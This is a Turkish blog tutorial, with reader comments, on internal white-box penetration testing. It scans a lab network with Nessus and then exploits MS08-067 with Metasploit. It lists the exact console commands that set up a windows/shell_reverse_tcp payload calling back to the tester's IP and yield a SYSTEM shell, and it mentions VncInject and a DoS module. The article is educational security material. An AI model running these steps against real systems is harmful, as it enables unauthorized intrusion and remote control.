• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 12382

Nessus ile şirket içi pentest (Sızma)

Daha önceki makalelerimde hep kişisel bilgi güvenliği üzerine bilgiler vermekteydim. Bu makalemde birçok arkadaşın ısrarla istediği kurumsal yapılarda penetration (Sızma) testinin aşamalarını anlatacağım. Bu makalemiz penetration test aşamalarından biri olan White Box (Beyaz Kutu)’ı kapsamaktadır. White Box penetration teste kısaca değinecek olursak; şirket içinde kullanılan tüm cihazlar hakkında bilgi sahibi olunarak yapılan bir sızma testidir. Bu test yöntemi en çok sistem yöneticileri tarafından internal (iç) networkte bulunan cihazların güvenliğini sağlamak üzere yapılmaktadır.

Bu makaleyi kaleme almamdaki asıl neden ise; firma yahut kurumlara yapılan saldırıların %60’lık kısmının firma çalışanları tarafından yapıldığından, sistem yöneticileri ve sistem uzmanlarının bu tarz saldırılara karşı güvenlik önlemlerini alarak, şirket içi güvenlik politikalarını da göz önünde bulundurup bilgi güvenliğini azami derecede sağlamalarına yardımcı olmaktır.

White Box penetration testi yaparken Nessus’tan faydalanacağız. Nessus ile networkte bulunan cihazların güvenlik zafiyetlerini test ettikten sonra, MetaSploit Framework ile bulduğumuz güvenlik açıklarını exploit ederek sisteme sızma işleminin nasıl gerçekleştirildiğini makalenin devamında bulabileceksiniz. Tüm bu işlemlerde Nessus otomatikleştirilmiş güvenlik zafiyet denetleyicisi bize yol gösterecektir.

Bu makalenin ön gereklilikleri:

1-) Nessus kullanımını bilmek. Bilmeyenlerin http://www.eyupcelik.com.tr/guvenlik-araclari/nessus-security-scanner-ve-kullanimi adresinde bulunan Nessus Security Scanner ve Kullanımı başlıklı makaleyi okumaları gerekmektedir.

2-) Metasploit ile Sızma işleminin nasıl gerçekleştirilebileceği ile ilgili temel bilgi sahibi olmak. MetaSploit ile sızma konusunda bilgisi olmayanların http://www.eyupcelik.com.tr/ceh/metasploit-ile-windows-xp-sp3-sizma-hacking adresinde bulunan MetaSploit ile Windows XP SP3 Sızma (Hacking) başlıklı makaleyi okumaları gerekmektedir.

3-) Nessus Security Scanner – Windows için olan sürümünü bu adresten indirebilirsiniz. http://www.nessus.org/download/index.php?product=nessus42-win

4-) MetaSploit Framework – Windows için olan sürümünü bu adresten indirebilirsiniz.

http://updates.metasploit.com/data/releases/framework-3.7.2-windows-full.exe

Yukardaki gerekliliklerden ilk ikisini yerine getirince 3-4’üncü maddedeki programların nasıl kurulacağı ile ilgili bilgileri öğrenmiş olacağız. Her iki programı ilk iki maddede bulunan makalelere göre kurup, sisteminizde penetration test yapma işlemi için gerekli zemini hazırlayın. Nessus’u kurduktan sonra mutlaka güncelleme yapınız.

Arından bir Explorer (Tarayıcı) açın. Bu tarayıcı Internet Explorer, Mozilla Firefox veya Opera olabilir. Adres satırına https://localhost:8834/ yazarak Nessus güvenlik zafiyet tarayıcısı yönetim konsoluna ulaşarak Nessus’u aktif hale getirelim.

Nessus kullanıcı adı ve şifrenizi aşağıdaki gibi girip, Log In ile yönetim paneline giriş yapın.

Girişimizi yaptıktan sonra Policies kısmından Add’i tıklayarak pentest yapmak üzere bir tarama kuralı oluşturuyoruz.

 

Kural oluşturmak için karşımıza yukarıdaki gibi bir ekran gelecektir. Burada öncelikle Name kısmına kural için bir isim belirliyoruz. Eğer Nessus scanner’ı bir sunucu üzerine kurup client ile tarama yapacak isek Visibility kısmını Shared olarak seçiyoruz. Aksi durumda Private kalmasında bir sakınca yoktur. Description kısmına; kural ile ilgili bir açıklama yazıyoruz.

Benim white box pentest yapmak üzere hazırlamış olduğum kural dosyanı http://www.eyupcelik.com.tr/CehLabs/nessus_policy_WhiteBox_Pentest____EYUP_CELIK.nessus adresine sağ tıklayıp Farklı Kaydet’ten bilgisayarınıza kaydedin. Ardından Policies kısmından Import’u tıklayın.

Browse’dan indirmiş olduğunuz Nessus kural dosyasını seçip Submit’i tıklayın. Kuralları yükledikten sonra Policies ana ekranına geri döneceksiniz. Buradan Scans’i tıklayın.

Yukarıdaki resimde göreceğiniz üzere Name kısmından yapacağımız taramaya bir isim vermiş olduk. Type kısmından Run Now (Şimdi Çalıştır)’ı seçtik. Policy kısmında yüklemiş olduğumuz tarama kuralını seçiyoruz. En önemli kısım olan Scan Target kısmında tarama yapacağımız network aralığını yazdık. Ben 192.168.27.0 networkünde 24 bitlik maskeleme ile tarama yaptırdım. Bu şu demek; 192.168.27.1 ip adresinden 192.168.27.255 ip adresine kadar olan tüm bilgisayarları tara. Daha büyük networklerde otomatikleştirilmiş bir tarama yapacak isek 192.168.0.0/16 yazarak, 16 bitlik maskeleme ile tarama yaptırabiliriz. 16 bitlik maskeleme 192.168.0.1 ip adresinden 192.168.255.255 ip adresine kadar olan tüm bilgisayarları tarayacaktır. 16 bitlik maskeleme biraz uzun sürecek bir tarama tipidir. Scan Target kısmını kendi network’ümüze göre ayarladıktan sonra Launch Scan’i tıklayarak taramayı başlatıyoruz.

Tarama bittikten tarama raporuna Reports kısmından ulaşıyoruz. Name kısmından taramaya vermiş olduğumuz ismini çift tıklayarak detaylı raporu görüntülüyoruz.

Tarama raporumuz yukarıdaki gibi görüntülenecektir. Host kısmında güvenlik taraması yapılan bilgisayarın ip adresini göstermekte. Hemen yanında bulunan Total kısmı hedef sistem üzerinde bulmuş olduğu toplam güvenlik açıklarını sayısal olarak vermekte. High kısmı hedef sistem üzerinde bulunan kritik derecede olan güvenlik açıklarını, Medium orta düzeyde olan güvenlik açıklarını, low ise düşük derecede olan güvenlik açıkları sayılarını gösterir. Open port kısmı ise hedef sistem üzerinde bulunan açık portların sayısını gösterir.

Bu raporu görüntüledikten sonra, sızma işleminin yapılacağı hedef sistemler, kritik güvenlik açıkları olan sistemler seçilecektir. Hedef sistemdeki kritik güvenlik açıklarının neler olduğuna bakmak üzere High kısmında bulunan güvenlik açığı sayısına tıklayacağız. Yukarıdaki resimde göreceğiniz üzere 192.168.27.50 IP adresi üzerinde 5 tane kritik, 1 tane orta düzey, 24 tane düşük, 12 tane de açık port olmak üzere 42 adet güvenlik zafiyeti varmış. Düşük düzeyde olan güvenlik açıkları genelde hedef sistem hakkında bilgi toplama (footprinting) esnasında hedef sunucunun üzerinde bulunan açık port ve servis bilgilerini göndermesinden kaynaklıdır. Pentest sırasında eğer hedef sistem üzerinde kritik bir güvenlik açığı yok ise, footprinting ile bilgi aldığımız servisleri kullanarak hedef sisteme sızmaya çalışmamız gerekmektedir. Bizim hedef sistemimizde 5 tane kritik güvenlik zafiyeti olduğundan dolayı, biz bu kritik güvenlik zafiyetlerini kullanarak hedef sisteme sızacağız. Bu kritik güvenlik açıklarının neler olduğunu ve nasıl kullanılması gerektiğini öğrenmek için High kısmında bulunan 5 rakamını tıklıyoruz ve aşağıdaki gibi bir ekran elde etmiş oluyoruz.

Nessus penetration test yapmış olduğu sistem üzerinde bulunan 5 adet kritik güvenlik açığını yukarıdaki gibi bize raporlamış oldu. Bu rapor bize hedef sisteme nasıl sızmamız gerektiğini açık bir şekilde söylemekte. Rapora detaylıca bakacak olursak eğer; MS09-001, Windows SMB Shares, MS10-012, MS10-054, MS08-067 gibi 5 başlık altında hedef sistemin kritik güvenlik açıklarını öğrenmiş olduk. Şimdi Nessus’un bulduğu ilk güvenlik açığını bize hedef sistemde neler yapabileceğimizi az çok anlatmakta. Hedef sistem üzerinde MS09-001 Microsoft Windows SMB Güvenlik açığı ile uzaktan kod çalıştırma zafiyeti bulunduğunu bilgisini almış oluyoruz.

Güvenlik zafiyeti ile ilgili daha fazla bilgi almak için MS09-001 Microsoft Windows SMB yazısını tıklayarak güvenlik zafiyeti ile ilgili tüm ayrıntıları görüntüleyebiliriz. Biz en altta bulunan MS08-067 kritik güvenlik zafiyetini kullanarak hedefe sızmaya çalışacağız.

Yukarıdaki resimde gördüğümüz gibi Nessus’un 34477 Plugin’i ile MS08-067 güvenlik zafiyetini kullanarak hedef üzerinde uzaktan kod çalıştırılabilmekte. Güvenlik açığının detaylarını öğrenmek için Plugin ID’sini veya açık adını (Name) tıklayarak, teknik bilgilere erişiyoruz.

Yukarıdaki resimde göreceğimiz üzere, hedef sistemde bulunan güvenlik açığının teknik detayları yer almaktadır. Bu resimden hareketle, hedef sisteme sızmak için 445 nolu portun kullanılacağı, risk faktörünün kritik düzeyde olduğunu öğreniyoruz. Teknik detaylar kısmının en altında yer alan bilgiler ise bizim hedefe sızabilmemizi sağlayan kritik bilgilerdir. Raporun alt kısmında yer alan Public Exploit Available kısmı eğer True ise güvenlik zafiyetini kullanabilen bir exploit herkesin kullanımına açılmış demektir. Bu cümlenin yanisi şu; Hedef sistemde bulunan güvenlik açığını kullanarak hedef sisteme sızmak için yazılmış bir exploit yayınlanmıştır. Bu exploit uluslar arası Black Hat exploit paylaşım platformu olan, Exploit-db, PacketStormSecurity gibi siteler üzerinden yayınlanmaktadır. Teknik detay kısmının en altında yer alan Exploitable With kısmı, hedef sistem üzerinde bulunan güvenlik açığını hangi program ile exploit edilebileceğini yazmaktadır. Buna göre hedef sistem üzerinde bulunan güvenlik zafiyetini Canvas (Immunity Canvas), Core Impact (Core Security) ve MetaSploit (Rapid7 Project) programlarından birini kullanarak hedef sisteme sızılabilirmiş. MetaSploit’in ücretsiz oluşu ve exploit-db ile authenticate olması sektörde tercih sebepleri arasında yer almaktadır. Ancak Core Impact’ten kısaca bahsedecek olursak, Core Impact Nessus gibi hedef sistemler üzerinde güvenlik zafiyetlerini test ederek, bulduğu güvenlik zafiyetlerini ayrıca exploit edebilen bir güvenlik programıdır. Bu açıdan Core Impact sektördeki en tehlikeli güvenlik tarayıcılarından biridir. Programın lisanslı oluşu ve warez sitelerinde bulunmayışından dolayı program herkes tarafından kullanılamamaktadır.

Şimdi sıra bulduğumuz bu güvenlik zafiyetlerini exploit etmeye geldi. Bunun için en büyük yardımcımız olan MetaSploit Framework’ün Console sürümünü çalıştırıyoruz. Neden console kullandığımı soracak olursanız eğer, console tüm MetaSploit Framework özelliklerini kendi altında barındıp, en hızlı şekilde çalıştığından dolayı, her zaman ilk tercihim console modundan yana olmuştur.

MetaSploit’i çalıştırır çalıştırmaz mutlaka update ederek yeni zafiyetlerin MetaSploit veritabanına kaydedilmesini sağlamalıyız. MetaSploit güncelleme işlemini bitirdikten sonra, Nessus ile bulduğumuz kritik güvenlik açıklarını exploit etmek üzere MetaSploit veritabanında arattırıyoruz. Bunun için MetaSploit console ekranına search MS08 yazıp, hedef sistem üzerinde çalıştırabileceğimiz uygun exploiti arıyoruz.

Resimden anlaşılacağı üzere search MS08 yazarak exploit veritabanından MS08-067 exploitini bulmaya çalıştık. Komut bize MS08’i içeren 7 adet exploit olduğunu bilgisini döndürdü. Nessus bulduğu güvenlik zafiyetinde güvenlik açığının adının MS08-067 Microsoft Windows SMB olarak nitelendirmişti. Dolayısı ile bizimde kullanabileceğimiz exploit’in ms08-067_netapi olduğunu aynı isimde başka exploit olmamasından anlıyoruz. Exploiti kullanmak için MetaSploit console ekranına use windows/smb/ms08_067_netapi yazıyoruz.

Exploitin ayarlanması gereken özelliklerine bakmak için show komutunu kullanıyoruz. MetaSploit console ekranına show options komutu ile exploit üzerinde yapmamız gereken değişiklikleri giriyoruz.

Show options komut çıktısı yukarıdaki gibi olacaktır. Rhost karşısında bulunan Required kısmı yes olduğundan dolayı bu bölümü mutlaka doldurmalıyız. Bu işlem için ise set komutunu kullanacağız.

Set RHOST 192.168.27.50 komutu ile exploitin 192.168.27.50 IP adresine sahip bilgisayar üzerinden exploit edileceğini belirttik. Ardından herhangi bir hataya meydan vermemek için show options komutunu kullanarak RHOST kısmına belirttiğimiz IP adresinin eklenip eklenmediğini kontrol ediyoruz.

Tüm bu işlemlerden sonra exploitimiz hedef sistem üzerinde çalışmaya hazır bir şekildedir. Exploit komutu ile derleyip çalıştırarak hedef sistemi meterpreter yardımcı aracı ile ele geçirebiliriz. Fakat ben bunu istemiyorum. Meterpreter bir çok aracı içerisinde bulunduran çok geniş bir payload olabilir ancak ben Windows komut sistemini ele geçirerek sızma işlemini göstermek istiyorum. Dolayısı ile meterpreter’ı anlatmayacağım. Exploit hedef üzerinde çalıştıksan sonra Windows komut ekranını bize getirmesi için mutlaka payload’lardan faydalanmamız gerekmektedir. MetaSploit Framework’te payload kullanım işlemi set payload komutu ile gerçekleştirilir.

Set payload windows/shell_reverse_tcp komutu ile hedef sistemin komut sistemini ele geçirmek için payload’ımızı atadık. Ardından herhangi bir hataya mahal vermemek için show options komutunu kullanarak girmemiz gereken bilgilere bir kez daha göz attık. Shell_reverse_tcp payload’ı bizden bir LHOST (Local IP Adresi) bilgisi istemekte olduğunu görüyoruz. Bu LHOST bizim kendi IP adresimiz olacaktır. Buna neden ihtiyaç var diye sorabilirsiniz. Shell_reverse_tcp payload’ı hedef sistem exploit edildikten sonra çalışarak, ters bağlantı kurup bizim hedef bilgisayara erişip komut sistemini ele geçirmemiz yerine, hedef sistemin var olan komut sistemini bize getirir. Tersine mühendislik diye nitelendirilen olayın fiziksel olarak uygulamış oluyoruz. Hedef exploit edildiğinde 4444 numaralı portumuza hedef sistemin komut ekranı gelecektir. Bu adımda 4444 nolu port bilgisayarınızda kullanımda ise set LPORT portnumaranız (Set LHOST 3444 gibi) şeklinde portu değiştirebilirsiniz. Netcat gibi bir program kurarak da portlarınızı dinleyerek portlarınıza gelen tüm istekleri kabul edebilirsiniz.

Bu adımdan sonra set LHOST komutu ile payload’a IP adresimizi giriyoruz.

Set LHOST 192.168.1.151 komutu ile payload’a kendi IP adresimizi belirttik. Show options komutu ile son kez exploitimize göz atarak kontrol ettikten sonra geriye sadece exploitimizi derleyip hedef sisteme sızma işlemimiz kaldı. Bunun için ise exploit komutundan yararlanacağız.

Exploit komutu ile hazırladığımız exploiti derleyerek hedef sistem üzerinde çalıştırdık. Exploit çalıştığında ilk olarak 4444 nolu portumuzu açarak hedeften gelecek tüm isteklere izin verdi. Ardından hedef sistemi fingerprinting (Parmak izi) yöntemi ile hedef sistemin işletim sistemini ve işletim sisteminin sürümünü algıladı. Sonra exploitin target kısmına almış olduğu fingerprint bilgisini ekleyerek exploiti hedef makine üzerinde çalıştırdı. Ve vermiş olduğumuz onca emek boşa gitmedi. Hedef sisteme sızarak komut ekranını ele geçirdik. Şimdi yazacağımız tüm komutlar System yetkileri ile hedef üzerinde çalışacaktır. Yani en ileri yetkilerle hedefe sızmış olduk. Bir ipconfig ile hedef sistemi IP konfigürasyonunu çekelim.

Ben payload olarak shell_reverse_tcp payloadı kullandım. Ancak siz hedef sistemin ekranınıda ele geçirebilecek ileri düzey payload’lardan olan VncInject payload’ını kullanarak hedef sistemi uzak masa üstü gibi ele geçirebilirsiniz. Konu ile ilgili olarak çektiğim videoyu aşağıdan seyredebilirsiniz.

Güvenli günler…

Comments

-2 Çağri 09-08-2011 22:24 #1
ben nessusla bir siteyi taradığımda bulduğum açığı metasploitte bulamıyorum ya da başka şekilde bulamıyorum eyüp hocam.. güzel çalışma olmuş emeğine sağlık...
Quote
+2 Eyüp ÇELİK 11-08-2011 11:38 #2
Alıntılandı Çağri:
ben nessusla bir siteyi taradığımda bulduğum açığı metasploitte bulamıyorum ya da başka şekilde bulamıyorum eyüp hocam.. güzel çalışma olmuş emeğine sağlık...


Nessus web güvenlik tarayıcısı değildir. Nessus ile web güvenlik açıklarını değil, bilgisayarların güvenlik açıklarını tarayacaksın. Web güvenlik açıkları için Acunetix, W3AF'i kullanabilirsin.
Quote
0 Çağri 11-08-2011 16:45 #3
ama ben taramıştım birsürüde açık bulmuştum sitenin herşeyini gösteriyor güvenlik açıklarınıda dahil nessusu ben çok güçlü bir web güvenlik tarayıcısı olrak biliyorum
Quote
-2 Eyüp ÇELİK 11-08-2011 18:51 #4
Alıntılandı Çağri:
ama ben taramıştım birsürüde açık bulmuştum sitenin herşeyini gösteriyor güvenlik açıklarınıda dahil nessusu ben çok güçlü bir web güvenlik tarayıcısı olrak biliyorum


Web taraması yapabilirsin. Yapamazsın demedim. Web güvenlik tarayıcısı olmadığını söyledim. Web güvenlik tarayıcıları daha çok application security tabanlı çalışırlar.
Quote
0 serkanpentest 19-10-2011 12:57 #5
eyup hocam elıne saglık ....
white box pentest yapmak üzere hazırlamış olduğun kuralı kullanmak zorundamıyız.
her aramada bu kural gecerli olacakmı yada kendımızde mı yenı bır arama ıcın kural mı yazmamız gerekır..

bırde bende cıkan acıklar metasploit de buldu ama sizn ornekte Ms08_67 vardı ve sectınız. bendekı farklı bır kod ms11-30 metasploitte cıkmadı:(
Quote
-2 Eyüp ÇELİK 19-10-2011 13:18 #6
Alıntılandı serkanpentest:
eyup hocam elıne saglık ....
white box pentest yapmak üzere hazırlamış olduğun kuralı kullanmak zorundamıyız.
her aramada bu kural gecerli olacakmı yada kendımızde mı yenı bır arama ıcın kural mı yazmamız gerekır..

bırde bende cıkan acıklar metasploit de buldu ama sizn ornekte Ms08_67 vardı ve sectınız. bendekı farklı bır kod ms11-30 metasploitte cıkmadı:(


Merhabalar Serkan. Bu kuralın kullanım zorunluluğu yok. Nessus'un Policies kısmından Add'i seçerek kendi şirket yapına göre kural hazırlayabilirsin. Örneğin; verdiğim kural yapısında, hızlı sonuç almak için web sunucu taramasını deaktif yaptım. Senin şirket yapında web sunucusu var ise tarama kuralına web sunucusu tarama özelliğini eklersin gibi.

Metasploit'in eğer güncel ise, MS11-30 güvenlik zafiyetini auxiliary/dos/windows/llmnr/ms11_030_dnsapi şeklinde Metasploit içerisinde bulabilirsin.
Quote
-2 serkanpentest 26-10-2011 10:58 #7
teşekkürler hocam.
Quote
0 Guest 06-11-2012 12:10 #8
MetaSploit daha önceki konularda vermiş olduğu linkle bulamadım
Quote
-2 Guest 06-11-2012 12:22 #9
http://updates.metasploit.com/data/releases/framework-3.7.2-windows-full.exe
şu linkte proğrama ulaşamıyorum yardımcı olurmusunuz hocam
Quote

Yorum ekle


Güvenlik kodu Yenile

Back to top